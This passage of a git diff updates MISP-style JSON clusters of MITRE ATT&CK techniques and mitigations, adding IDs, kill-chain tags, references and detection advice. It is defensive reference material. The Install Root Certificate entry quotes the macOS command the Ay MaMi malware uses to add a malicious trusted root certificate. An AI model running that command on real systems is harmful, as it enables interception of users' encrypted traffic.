inspection\n\nDefense Bypassed: Binary Analysis, Log analysis, Firewall\n\nPermissions Required: User\n\nRequires Network: Yes\n\nContributors: Anastasios Pingios",
"value": "Web Service - T1102",
"meta": {
"refs": [
"https://attack.mitre.org/wiki/Technique/T1102",
"https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
],
+ "external_id": "T1102",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:command-and-control",
+ "mitre-attack:enterprise-attack:defense-evasion"
+ ],
"mitre_data_sources": [
"Host network interface",
"Netflow/Enclave netflow",
"Network protocol analysis",
- "Packet capture"
+ "Packet capture",
+ "SSL/TLS inspection"
],
"mitre_platforms": [
"Linux",
@@ -3648,6 +5234,10 @@
"https://attack.mitre.org/wiki/Technique/T1012",
"https://en.wikipedia.org/wiki/Windows%20Registry"
],
+ "external_id": "T1012",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:discovery"
+ ],
"mitre_data_sources": [
"Windows Registry",
"Process monitoring",
@@ -3666,6 +5256,11 @@
"refs": [
"https://attack.mitre.org/wiki/Technique/T1072"
],
+ "external_id": "T1072",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:execution",
+ "mitre-attack:enterprise-attack:lateral-movement"
+ ],
"mitre_data_sources": [
"Binary file metadata",
"File monitoring",
@@ -3690,6 +5285,11 @@
"https://attack.mitre.org/wiki/Technique/T1105",
"https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
],
+ "external_id": "T1105",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:command-and-control",
+ "mitre-attack:enterprise-attack:lateral-movement"
+ ],
"mitre_data_sources": [
"File monitoring",
"Packet capture",
@@ -3715,6 +5315,10 @@
"http://www.codeproject.com/Articles/32169/FDump-Dumping-File-Sectors-Directly-from-Disk-usin",
"https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-NinjaCopy.ps1"
],
+ "external_id": "T1006",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:defense-evasion"
+ ],
"mitre_data_sources": [
"API monitoring"
],
@@ -3733,6 +5337,10 @@
"https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/",
"https://baesystemsai.blogspot.com/2015/06/new-mac-os-malware-exploits-mackeeper.html"
],
+ "external_id": "T1141",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:credential-access"
+ ],
"mitre_data_sources": [
"User interface",
"Process Monitoring"
@@ -3750,6 +5358,10 @@
"refs": [
"https://attack.mitre.org/wiki/Technique/T1051"
],
+ "external_id": "T1051",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:lateral-movement"
+ ],
"mitre_data_sources": [
"File monitoring",
"Process monitoring"
@@ -3767,6 +5379,10 @@
"refs": [
"https://attack.mitre.org/wiki/Technique/T1054"
],
+ "external_id": "T1054",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:defense-evasion"
+ ],
"mitre_data_sources": [
"Sensor health and status",
"Process command-line parameters",
@@ -3785,6 +5401,10 @@
"refs": [
"https://attack.mitre.org/wiki/Technique/T1052"
],
+ "external_id": "T1052",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:exfiltration"
+ ],
"mitre_data_sources": [
"Data loss prevention",
"File monitoring"
@@ -3813,6 +5433,11 @@
"https://msdn.microsoft.com/en-us/library/windows/desktop/aa378612(v=vs.85).aspx",
"https://www.blackhat.com/docs/eu-17/materials/eu-17-Atkinson-A-Process-Is-No-One-Hunting-For-Token-Manipulation.pdf"
],
+ "external_id": "T1134",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:defense-evasion",
+ "mitre-attack:enterprise-attack:privilege-escalation"
+ ],
"mitre_data_sources": [
"API monitoring",
"Access Tokens"
@@ -3833,6 +5458,10 @@
"https://technet.microsoft.com/windows-server-docs/identity/ad-ds/get-started/windows-time-service/windows-time-service-tools-and-settings",
"https://www.rsaconference.com/writable/presentations/file%20upload/ht-209%20rivner%20schwartz.pdf"
],
+ "external_id": "T1124",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:discovery"
+ ],
"mitre_data_sources": [
"Process monitoring",
"Process command-line parameters",
@@ -3851,6 +5480,10 @@
"refs": [
"https://attack.mitre.org/wiki/Technique/T1146"
],
+ "external_id": "T1146",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:defense-evasion"
+ ],
"mitre_data_sources": [
"Authentication logs",
"File monitoring"
@@ -3870,6 +5503,10 @@
"https://attack.mitre.org/wiki/Technique/T1129",
"https://en.wikipedia.org/wiki/Microsoft%20Windows%20library%20files"
],
+ "external_id": "T1129",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:execution"
+ ],
"mitre_data_sources": [
"Process Monitoring",
"API monitoring",
@@ -3893,6 +5530,10 @@
"https://www.clockwork.com/news/2012/09/28/602/ssh%20agent%20hijacking",
"https://www.welivesecurity.com/2014/02/21/an-in-depth-analysis-of-linuxebury/"
],
+ "external_id": "T1184",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:lateral-movement"
+ ],
"mitre_data_sources": [
"Authentication logs"
],
@@ -3904,7 +5545,7 @@
"uuid": "c1b11bf7-c68e-4fbf-a95b-28efbe7953bb"
},
{
- "description": "Root certificates are used in public key cryptography to identify a root certificate authority (CA). When a root certificate is installed, the system or application will trust certificates in the root's chain of trust that have been signed by the root certificate. (Citation: Wikipedia Root Certificate) Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website.\n\nInstallation of a root certificate on a compromised system would give an adversary a way to degrade the security of that system. Adversaries have used this technique to avoid security warnings prompting users when compromised systems connect over HTTPS to adversary controlled web servers that spoof legitimate websites in order to collect login credentials. (Citation: Operation Emmental)\n\nAtypical root certificates have also been pre-installed on systems by the manufacturer or in the software supply chain and were used in conjunction with malware/adware to provide a man-in-the-middle capability for intercepting information transmitted over secure TLS/SSL communications. (Citation: Kaspersky Superfish)\n\nDetection: A system's root certificates are unlikely to change frequently. Monitor new certificates installed on a system that could be due to malicious activity. Check pre-installed certificates on new systems to ensure unnecessary or suspicious certificates are not present.\n\nInstalled root certificates are located in the Registry: HKLM\\SOFTWARE\\Microsoft\\SystemCertificates\\ROOT\\Certificates. There is a subset of root certificates that are consistent across Windows systems and can be used for comparison: (Citation: Tripwire AppUNBlocker)\n*18F7C1FCC3090203FD5BAA2F861A754976C8DD25\n*245C97DF7514E7CF2DF8BE72AE957B9E04741E85\n*3B1EFD3A66EA28B16697394703A72CA340A05BD5\n*7F88CD7223F3C813818C994614A89C99FA3B5247\n*8F43288AD272F3103B6FB1428485EA3014C0BCFE\n*A43489159A520F0D93D032CCAF37E7FE20A8B419\n*BE36A4562FB2EE05DBB3D32323ADF445084ED656\n*CDD4EEAE6000AC7F40C3802C171E30148030C072\n\nPlatforms: Linux, Windows\n\nData Sources: SSL/TLS inspection, Digital Certificate Logs\n\nDefense Bypassed: Digital Certificate Validation\n\nPermissions Required: Administrator\n\nContributors: Itzik Kotler, SafeBreach, Travis Smith, Tripwire",
+ "description": "Root certificates are used in public key cryptography to identify a root certificate authority (CA). When a root certificate is installed, the system or application will trust certificates in the root's chain of trust that have been signed by the root certificate. (Citation: Wikipedia Root Certificate) Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website.\n\nInstallation of a root certificate on a compromised system would give an adversary a way to degrade the security of that system. Adversaries have used this technique to avoid security warnings prompting users when compromised systems connect over HTTPS to adversary controlled web servers that spoof legitimate websites in order to collect login credentials. (Citation: Operation Emmental)\n\nAtypical root certificates have also been pre-installed on systems by the manufacturer or in the software supply chain and were used in conjunction with malware/adware to provide a man-in-the-middle capability for intercepting information transmitted over secure TLS/SSL communications. (Citation: Kaspersky Superfish)\n\nRoot certificates (and their associated chains) can also be cloned and reinstalled. Cloned certificate chains will carry many of the same metadata characteristics of the source and can be used to sign malicious code that may then bypass signature validation tools (ex: Sysinternals, antivirus, etc.) used to block execution and/or uncover artifacts of Persistence. (Citation: SpectorOps Code Signing Dec 2017)\n\nIn macOS, the Ay MaMi malware uses /usr/bin/security add-trusted-cert -d -r trustRoot -k /Library/Keychains/System.keychain /path/to/malicious/cert to install a malicious certificate as a trusted root certificate into the system keychain. (Citation: objective-see ay mami 2018)\n\nDetection: A system's root certificates are unlikely to change frequently. Monitor new certificates installed on a system that could be due to malicious activity. (Citation: SpectorOps Code Signing Dec 2017) Check pre-installed certificates on new systems to ensure unnecessary or suspicious certificates are not present. Microsoft provides a list of trustworthy root certificates online and through authroot.stl. (Citation: SpectorOps Code Signing Dec 2017) The Sysinternals Sigcheck utility can also be used (sigcheck[64].exe -tuv) to dump the contents of the certificate store and list valid certificates not rooted to the Microsoft Certificate Trust List. (Citation: Microsoft Sigcheck May 2017)\n\nInstalled root certificates are located in the Registry under HKLM\\SOFTWARE\\Microsoft\\EnterpriseCertificates\\Root\\Certificates\\ and [HKLM or HKCU]\\Software[\\Policies\\]\\Microsoft\\SystemCertificates\\Root\\Certificates\\. There are a subset of root certificates that are consistent across Windows systems and can be used for comparison: (Citation: Tripwire AppUNBlocker)\n*18F7C1FCC3090203FD5BAA2F861A754976C8DD25\n*245C97DF7514E7CF2DF8BE72AE957B9E04741E85\n*3B1EFD3A66EA28B16697394703A72CA340A05BD5\n*7F88CD7223F3C813818C994614A89C99FA3B5247\n*8F43288AD272F3103B6FB1428485EA3014C0BCFE\n*A43489159A520F0D93D032CCAF37E7FE20A8B419\n*BE36A4562FB2EE05DBB3D32323ADF445084ED656\n*CDD4EEAE6000AC7F40C3802C171E30148030C072\n\nPlatforms: Linux, Windows, macOS\n\nData Sources: SSL/TLS inspection, Digital Certificate Logs\n\nDefense Bypassed: Digital Certificate Validation\n\nPermissions Required: Administrator, User\n\nContributors: Itzik Kotler, SafeBreach, Travis Smith, Tripwire, Red Canary, Matt Graeber, @mattifestation, SpecterOps",
"value": "Install Root Certificate - T1130",
"meta": {
"refs": [
@@ -3912,7 +5553,14 @@
"https://en.wikipedia.org/wiki/Root%20certificate",
"http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp-finding-holes-operation-emmental.pdf",
"https://www.kaspersky.com/blog/lenovo-pc-with-adware-superfish-preinstalled/7712/",
- "https://www.tripwire.com/state-of-security/off-topic/appunblocker-bypassing-applocker/"
+ "https://www.tripwire.com/state-of-security/off-topic/appunblocker-bypassing-applocker/",
+ "https://posts.specterops.io/code-signing-certificate-cloning-attacks-and-defenses-6f98657fc6ec",
+ "https://objective-see.com/blog/blog%200x26.html",
+ "https://docs.microsoft.com/sysinternals/downloads/sigcheck"
+ ],
+ "external_id": "T1130",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:defense-evasion"
],
"mitre_data_sources": [
"SSL/TLS inspection",
@@ -3920,7 +5568,8 @@
],
"mitre_platforms": [
"Linux",
- "Windows"
+ "Windows",
+ "macOS"
]
},
"uuid": "d519cfd5-f3a8-43a9-a846-ed0bb40672b1"
@@ -3933,6 +5582,10 @@
"https://attack.mitre.org/wiki/Technique/T1030",
"https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
],
+ "external_id": "T1030",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:exfiltration"
+ ],
"mitre_data_sources": [
"Packet capture",
"Netflow/Enclave netflow",
@@ -3948,11 +5601,16 @@
"uuid": "c3888c54-775d-4b2f-b759-75a2ececcbfd"
},
{
- "description": "~/.bash_profile and ~/.bashrc are executed in a user's context when a new shell opens or when a user logs in so that their environment is set correctly. ~/.bash_profile is executed for login shells and ~/.bashrc is executed for interactive non-login shells. This means that when a user logs in (via username and password) to the console (either locally or remotely via something like SSH), ~/.bash_profile is executed before the initial command prompt is returned to the user. After that, every time a new shell is opened, ~/.bashrc is executed. This allows users more fine grained control over when they want certain commands executed.\n\nMac's Terminal.app is a little different in that it runs a login shell by default each time a new terminal window is opened, thus calling ~/.bash_profile each time instead of ~/.bashrc.\n\nThese files are meant to be written to by the local user to configure their own environment; however, adversaries can also insert code into these files to gain persistence each time a user logs in or opens a new shell.\n\nDetection: While users may customize their ~/.bashrc and ~/.bash_profile files , there are only certain types of commands that typically appear in these files. Monitor for abnormal commands such as execution of unknown programs, opening network sockets, or reaching out across the network when user profiles are loaded during the login process.\n\nPlatforms: Linux, macOS\n\nData Sources: File monitoring, Process Monitoring, Process command-line parameters, Process use of network\n\nPermissions Required: User, Administrator",
+ "description": "~/.bash_profile and ~/.bashrc are executed in a user's context when a new shell opens or when a user logs in so that their environment is set correctly. ~/.bash_profile is executed for login shells and ~/.bashrc is executed for interactive non-login shells. This means that when a user logs in (via username and password) to the console (either locally or remotely via something like SSH), ~/.bash_profile is executed before the initial command prompt is returned to the user. After that, every time a new shell is opened, ~/.bashrc is executed. This allows users more fine grained control over when they want certain commands executed.\n\nMac's Terminal.app is a little different in that it runs a login shell by default each time a new terminal window is opened, thus calling ~/.bash_profile each time instead of ~/.bashrc.\n\nThese files are meant to be written to by the local user to configure their own environment; however, adversaries can also insert code into these files to gain persistence each time a user logs in or opens a new shell (Citation: amnesia malware).\n\nDetection: While users may customize their ~/.bashrc and ~/.bash_profile files , there are only certain types of commands that typically appear in these files. Monitor for abnormal commands such as execution of unknown programs, opening network sockets, or reaching out across the network when user profiles are loaded during the login process.\n\nPlatforms: Linux, macOS\n\nData Sources: File monitoring, Process Monitoring, Process command-line parameters, Process use of network\n\nPermissions Required: User, Administrator",
"value": ".bash_profile and .bashrc - T1156",
"meta": {
"refs": [
- "https://attack.mitre.org/wiki/Technique/T1156"
+ "https://attack.mitre.org/wiki/Technique/T1156",
+ "https://researchcenter.paloaltonetworks.com/2017/04/unit42-new-iotlinux-malware-targets-dvrs-forms-botnet/"
+ ],
+ "external_id": "T1156",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:persistence"
],
"mitre_data_sources": [
"File monitoring",
@@ -3966,6 +5624,36 @@
]
},
"uuid": "01df3350-ce05-4bdf-bdf8-0a919a66d4a8"
+ },
+ {
+ "description": "Windows Background Intelligent Transfer Service (BITS) is a low-bandwidth, asynchronous file transfer mechanism exposed through Component Object Model (COM) (Citation: Microsoft COM). (Citation: Microsoft BITS) BITS is commonly used by updaters, messengers, and other applications preferred to operate in the background (using available idle bandwidth) without interrupting other networked applications. File transfer tasks are implemented as BITS jobs, which contain a queue of one or more file operations.\n\nThe interface to create and manage BITS jobs is accessible through PowerShell (Citation: Microsoft BITS) and the BITSAdmin tool. (Citation: Microsoft BITS)Admin\n\nAdversaries may abuse BITS to download, execute, and even clean up after malicious code. BITS tasks are self-contained in the BITS job database, without new files or registry modifications, and often permitted by host firewalls. (Citation: CTU BITS Malware June 2016) (Citation: Mondok Windows PiggyBack BITS May 2007) (Citation: Symantec BITS May 2007) BITS enabled execution may also allow Persistence by creating long-standing jobs (the default maximum lifetime is 90 days and extendable) or invoking an arbitrary program when a job completes or errors (including after system reboots). (Citation: PaloAlto UBoatRAT Nov 2017) (Citation: CTU BITS Malware June 2016)\n\nBITS upload functionalities can also be used to perform Exfiltration Over Alternative Protocol. (Citation: CTU BITS Malware June 2016)\n\nDetection: BITS runs as a service and its status can be checked with the Sc query utility (sc query bits). (Citation: Microsoft Issues with BITS July 2011) Active BITS tasks can be enumerated using the BITSAdmin tool (bitsadmin /list /allusers /verbose). (Citation: Microsoft BITS)\n\nMonitor usage of the BITSAdmin tool (especially the ‘Transfer’, 'Create', 'AddFile', 'SetNotifyFlags', 'SetNotifyCmdLine', 'SetMinRetryDelay', 'SetCustomHeaders', and 'Resume' command options) (Citation: Microsoft BITS)Admin and the Windows Event log for BITS activity. Also consider investigating more detailed information about jobs by parsing the BITS job database. (Citation: CTU BITS Malware June 2016)\n\nMonitor and analyze network activity generated by BITS. BITS jobs use HTTP(S) and SMB for remote connections and are tethered to the creating user and will only function when that user is logged on (this rule applies even if a user attaches the job to a service account). (Citation: Microsoft BITS)\n\nPlatforms: Windows\n\nData Sources: API monitoring, Packet capture, Windows event logs\n\nDefense Bypassed: Firewall, Host forensic analysis\n\nPermissions Required: User, Administrator, SYSTEM\n\nContributors: Ricardo Dias, Red Canary",
+ "value": "BITS Jobs - T1197",
+ "meta": {
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1197",
+ "https://msdn.microsoft.com/library/windows/desktop/ms680573.aspx",
+ "https://msdn.microsoft.com/library/windows/desktop/bb968799.aspx",
+ "https://www.secureworks.com/blog/malware-lingers-with-bits",
+ "https://arstechnica.com/information-technology/2007/05/malware-piggybacks-on-windows-background-intelligent-transfer-service/",
+ "https://www.symantec.com/connect/blogs/malware-update-windows-update",
+ "https://researchcenter.paloaltonetworks.com/2017/11/unit42-uboatrat-navigates-east-asia/",
+ "https://technet.microsoft.com/library/dd939934.aspx"
+ ],
+ "external_id": "T1197",
+ "kill_chain": [
+ "mitre-attack:enterprise-attack:defense-evasion",
+ "mitre-attack:enterprise-attack:persistence"
+ ],
+ "mitre_data_sources": [
+ "API monitoring",
+ "Packet capture",
+ "Windows event logs"
+ ],
+ "mitre_platforms": [
+ "Windows"
+ ]
+ },
+ "uuid": "c8e87b83-edbb-48d4-9295-4974897525b7"
}
]
}
diff --git a/clusters/mitre-enterprise-attack-course-of-action.json b/clusters/mitre-enterprise-attack-course-of-action.json
index 13c0f9d..f1d1da8 100644
--- a/clusters/mitre-enterprise-attack-course-of-action.json
+++ b/clusters/mitre-enterprise-attack-course-of-action.json
@@ -2,7 +2,7 @@
"name": "Enterprise Attack - Course of Action",
"type": "mitre-enterprise-attack-course-of-action",
"description": "ATT&CK Mitigation",
- "version": 3,
+ "version": 4,
"source": "https://github.com/mitre/cti",
"uuid": "fb870a6a-1707-11e8-b548-17523e4d0670",
"authors": [
@@ -12,917 +12,1722 @@
{
"description": "Direct mitigation of this technique may not be recommended for a particular environment since COM objects are a legitimate part of the operating system and installed software. Blocking COM object changes may have unforeseen side effects to legitimate functionality.\n\nInstead, identify and block potentially malicious software that may execute, or be executed by, this technique using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
"value": "Component Object Model Hijacking Mitigation - T1122",
- "uuid": "ff5d862a-ae6b-4833-8c15-e235d654d28e"
+ "uuid": "ff5d862a-ae6b-4833-8c15-e235d654d28e",
+ "meta": {
+ "external_id": "T1122"
+ }
},
{
"description": "Mitigations for command and control apply. Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool command and control signatures over time or construct protocols in such a way to avoid detection by common defensive tools. (Citation: University of Birmingham C2)",
"value": "Exfiltration Over Command and Control Channel Mitigation - T1041",
- "uuid": "92c28497-2820-445e-9f3e-a03dd77dc0c8"
+ "uuid": "92c28497-2820-445e-9f3e-a03dd77dc0c8",
+ "meta": {
+ "external_id": "T1041"
+ }
},
{
"description": "This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of operating system design features. For example, mitigating specific Windows API calls will likely have unintended side effects, such as preventing legitimate software (i.e., security products) from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identification of subsequent malicious behavior. (Citation: GDSecurity Linux injection)\n\nIdentify or block potentially malicious software that may contain process injection functionality by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)\n\nUtilize Yama (Citation: Linux kernel Yama) to mitigate ptrace based process injection by restricting the use of ptrace to privileged users only. Other mitigation controls involve the deployment of security kernel modules that provide advanced access control and process restrictions such as SELinux (Citation: SELinux official), grsecurity (Citation: grsecurity official), and AppAmour (Citation: AppArmor official).",
"value": "Process Injection Mitigation - T1055",
- "uuid": "74febc44-8955-4e4d-aca0-d4dad2f967d7"
+ "uuid": "74febc44-8955-4e4d-aca0-d4dad2f967d7",
+ "meta": {
+ "external_id": "T1055"
+ }
},
{
"description": "Remove users from the local administrator group on systems. Although UAC bypass techniques exist, it is still prudent to use the highest enforcement level for UAC when possible and mitigate bypass opportunities that exist with techniques such as DLL Search Order Hijacking. \n\nCheck for common UAC bypass weaknesses on Windows systems to be aware of the risk posture and address issues where appropriate. (Citation: Github UACMe)",
"value": "Bypass User Account Control Mitigation - T1088",
- "uuid": "beb45abb-11e8-4aef-9778-1f9ac249784f"
+ "uuid": "beb45abb-11e8-4aef-9778-1f9ac249784f",
+ "meta": {
+ "external_id": "T1088"
+ }
},
{
"description": "Audit and/or block command-line interpreters by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
"value": "Command-Line Interface Mitigation - T1059",
- "uuid": "f28a20fd-d173-4603-807e-2cb3f51bdf04"
+ "uuid": "f28a20fd-d173-4603-807e-2cb3f51bdf04",
+ "meta": {
+ "external_id": "T1059"
+ }
},
{
"description": "Disallow loading of remote DLLs. (Citation: Microsoft DLL Preloading) This is included by default in Windows Server 2012+ and is available by patch for XP+ and Server 2003+. (Citation: Microsoft DLL Search) Path Algorithm\n\nEnable Safe DLL Search Mode to force search for system DLLs in directories with greater restrictions (e.g. %SYSTEMROOT%)to be used before local directory DLLs (e.g. a user's home directory). The Safe DLL Search Mode can be enabled via Group Policy at Computer Configuration > [Policies] > Administrative Templates > MSS (Legacy): MSS: (SafeDllSearchMode) Enable Safe DLL search mode. The associated Windows Registry key for this is located at HKLM\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\SafeDLLSearchMode (Citation: Microsoft DLL Search)\n\nUse auditing tools capable of detecting DLL search order hijacking opportunities on systems within an enterprise and correct them. Toolkits like the PowerSploit framework contain PowerUp modules that can be used to explore systems for DLL hijacking weaknesses. (Citation: Powersploit)\n\nIdentify and block potentially malicious software that may be executed through search order hijacking by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown DLLs.",
"value": "DLL Search Order Hijacking Mitigation - T1038",
- "uuid": "96913243-2b5e-4483-a65c-bb152ddd2f04"
+ "uuid": "96913243-2b5e-4483-a65c-bb152ddd2f04",
+ "meta": {
+ "external_id": "T1038"
+ }
},
{
"description": "Properly configure firewalls and proxies to limit outgoing traffic to only necessary ports. \n\nNetwork intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)",
"value": "Uncommonly Used Port Mitigation - T1065",
- "uuid": "a0d8db1d-a731-4428-8209-c07175f4b1fe"
+ "uuid": "a0d8db1d-a731-4428-8209-c07175f4b1fe",
+ "meta": {
+ "external_id": "T1065"
+ }
},
{
"description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire network share information, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
"value": "Network Share Discovery Mitigation - T1135",
- "uuid": "1f34230d-b6ae-4dc7-8599-78c18820bd21"
+ "uuid": "1f34230d-b6ae-4dc7-8599-78c18820bd21",
+ "meta": {
+ "external_id": "T1135"
+ }
},
{
"description": "Regsvcs and Regasm may not be necessary within a given environment. Block execution of Regsvcs.exe and Regasm.exe if they are not required for a given system or network to prevent potential misuess by adversaries.",
"value": "Regsvcs/Regasm Mitigation - T1121",
- "uuid": "a90da496-b460-47e8-92e7-cc36eb00bd9a"
+ "uuid": "a90da496-b460-47e8-92e7-cc36eb00bd9a",
+ "meta": {
+ "external_id": "T1121"
+ }
},
{
- "description": "Grant access to application deployment systems only to a limited number of authorized administrators. Ensure proper system and access isolation for critical network systems through use of firewalls, account privilege separation, group policy, and multifactor authentication. Verify that account credentials that may be used to access deployment systems are unique and not used throughout the enterprise network. Patch deployment systems regularly to prevent potential remote access through Exploitation of Vulnerability. \n\nIf the application deployment system can be configured to deploy only signed binaries, then ensure that the trusted signing certificates are not co-located with the application deployment system and are instead located on a system that cannot be accessed remotely or to which remote access is tightly controlled.",
+ "description": "Grant access to application deployment systems only to a limited number of authorized administrators. Ensure proper system and access isolation for critical network systems through use of firewalls, account privilege separation, group policy, and multifactor authentication. Verify that account credentials that may be used to access deployment systems are unique and not used throughout the enterprise network. Patch deployment systems regularly to prevent potential remote access through Exploitation for Privilege Escalation. \n\nIf the application deployment system can be configured to deploy only signed binaries, then ensure that the trusted signing certificates are not co-located with the application deployment system and are instead located on a system that cannot be accessed remotely or to which remote access is tightly controlled.",
"value": "Application Deployment Software Mitigation - T1017",
- "uuid": "c88151a5-fe3f-4773-8147-d801587065a4"
+ "uuid": "c88151a5-fe3f-4773-8147-d801587065a4",
+ "meta": {
+ "external_id": "T1017"
+ }
},
{
"description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)",
"value": "Commonly Used Port Mitigation - T1043",
- "uuid": "7c1796c7-9fc3-4c3e-9416-527295bf5d95"
+ "uuid": "7c1796c7-9fc3-4c3e-9416-527295bf5d95",
+ "meta": {
+ "external_id": "T1043"
+ }
},
{
"description": "Disabling WMI or RPCS may cause system instability and should be evaluated to assess the impact to a network. By default, only administrators are allowed to connect remotely using WMI. Restrict other users who are allowed to connect, or disallow all users to connect remotely to WMI. Prevent credential overlap across systems of administrator and privileged accounts. (Citation: FireEye WMI 2015)",
"value": "Windows Management Instrumentation Mitigation - T1047",
- "uuid": "ba2ec548-fb75-4b8c-88d6-d91a77a943cf"
+ "uuid": "ba2ec548-fb75-4b8c-88d6-d91a77a943cf",
+ "meta": {
+ "external_id": "T1047"
+ }
},
{
"description": "This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of operating system design features. For example, mitigating all hooking will likely have unintended side effects, such as preventing legitimate software (i.e., security products) from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior.",
"value": "Hooking Mitigation - T1179",
- "uuid": "7aee8ea0-0baa-4232-b379-5d9ce98352cf"
+ "uuid": "7aee8ea0-0baa-4232-b379-5d9ce98352cf",
+ "meta": {
+ "external_id": "T1179"
+ }
},
{
"description": "The sudoers file should be strictly edited such that passwords are always required and that users can’t spawn risky processes as users with higher privilege. By requiring a password, even if an adversary can get terminal access, they must know the password to run anything in the sudoers file.",
"value": "Sudo Mitigation - T1169",
- "uuid": "23bff3ce-021c-4e7a-9aee-60fd40bc7c6c"
+ "uuid": "23bff3ce-021c-4e7a-9aee-60fd40bc7c6c",
+ "meta": {
+ "external_id": "T1169"
+ }
},
{
"description": "Modify Registry settings (directly or using Dcomcnfg.exe) in HKEY_LOCAL_MACHINE\\SOFTWARE\\Classes\\AppID\\{AppID_GUID} associated with the process-wide security of individual COM applications. (Citation: Microsoft Process Wide Com Keys)\n\nModify Registry settings (directly or using Dcomcnfg.exe) in HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Ole associated with system-wide security defaults for all COM applications that do no set their own process-wide security. (Citation: Microsoft System Wide Com Keys) (Citation: Microsoft COM) ACL\n\nConsider disabling DCOM through Dcomcnfg.exe. (Citation: Microsoft Disable DCOM)\n\nEnable Windows firewall, which prevents DCOM instantiation by default.\n\nEnsure all COM alerts and Protected View are enabled. (Citation: Microsoft Protected View)",
"value": "Distributed Component Object Model Mitigation - T1175",
- "uuid": "910482b1-6749-4934-abcb-3e34d58294fc"
+ "uuid": "910482b1-6749-4934-abcb-3e34d58294fc",
+ "meta": {
+ "external_id": "T1175"
+ }
},
{
"description": "Eliminate path interception weaknesses in program configuration files, scripts, the PATH environment variable, services, and in shortcuts by surrounding PATH variables with quotation marks when functions allow for them (Citation: Microsoft CreateProcess). Be aware of the search order Windows uses for executing or loading binaries and use fully qualified paths wherever appropriate (Citation: MSDN DLL Security). Clean up old Windows Registry keys when software is uninstalled to avoid keys with no associated legitimate binaries.\n\nPeriodically search for and correct or report path interception weaknesses on systems that may have been introduced using custom or available tools that report software using insecure path configurations (Citation: Kanthak Sentinel). \n\nRequire that all executables be placed in write-protected directories. Ensure that proper permissions and directory access control are set to deny users the ability to write files to the top-level directory C: and system directories, such as C:\\Windows\\, to reduce places where malicious files could be placed for execution.\n\nIdentify and block potentially malicious software that may be executed through the path interception by using whitelisting (Citation: Beechey 2010) tools, like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies, (Citation: Corio 2008) that are capable of auditing and/or blocking unknown executables.",
"value": "Path Interception Mitigation - T1034",
- "uuid": "e0703d4f-3972-424a-8277-84004817e024"
+ "uuid": "e0703d4f-3972-424a-8277-84004817e024",
+ "meta": {
+ "external_id": "T1034"
+ }
},
{
